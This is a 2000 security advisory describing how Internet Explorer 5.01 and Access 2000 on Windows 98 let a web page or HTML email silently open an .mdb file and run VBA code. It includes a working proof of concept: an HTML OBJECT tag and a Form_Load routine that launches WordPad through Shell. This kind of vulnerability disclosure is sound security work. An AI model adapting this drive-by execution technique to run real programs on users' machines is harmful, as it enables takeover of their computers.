Georgi Guninski security advisory #14, 2000
IE 5 and Access 2000 vulnerability - executing programs
Systems affected: IE 5.01, Access 2000, Win98 - probably other versions, have not tested Risk: High
Disclaimer: The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this program. Georgi Guninski, bears NO responsibility for content or misuse of this program or any derivatives thereof.
Description: Internet Explorer 5.01 and Access 2000 under Windows 98 (suppose other versions are also vulnerable) allow executing programs when viewing a web page or HTML email message - (in the latter case with IFRAME). This allows taking full control over user's computer.
Access 2000 allows executing VBA code which has access to system resources and in particular executing files. It is possible to silently open and execute .mdb file from IE with the code: <OBJECT data="db3.mdb" id="d1"></OBJECT> This allows executing VBA code from Access 2000, though it is not visible to the user.
The code is: -----------access.html---------------------------- <OBJECT data="db3.mdb" id="d1"></OBJECT> -----------in Form1 of db3.mdb--------------------- Private Sub Form_Load() On Error GoTo Err_Command0_Click Dim stAppName As String stAppName = "C:\Program Files\Accessories\wordpad.exe" MsgBox ("Trying to start: " & stAppName) Call Shell(stAppName, 1)
Exit_Command0_Click: Exit Sub
Err_Command0_Click: MsgBox Err.Description Resume Exit_Command0_Click End Sub
Form1 is automatically opened at database startup.
Demonstration is available at: http://www.nat.bg/~joro/access.html
Copyright 2000 Georgi Guninski
Regards, Georgi Guninski http://www.nat.bg/~joro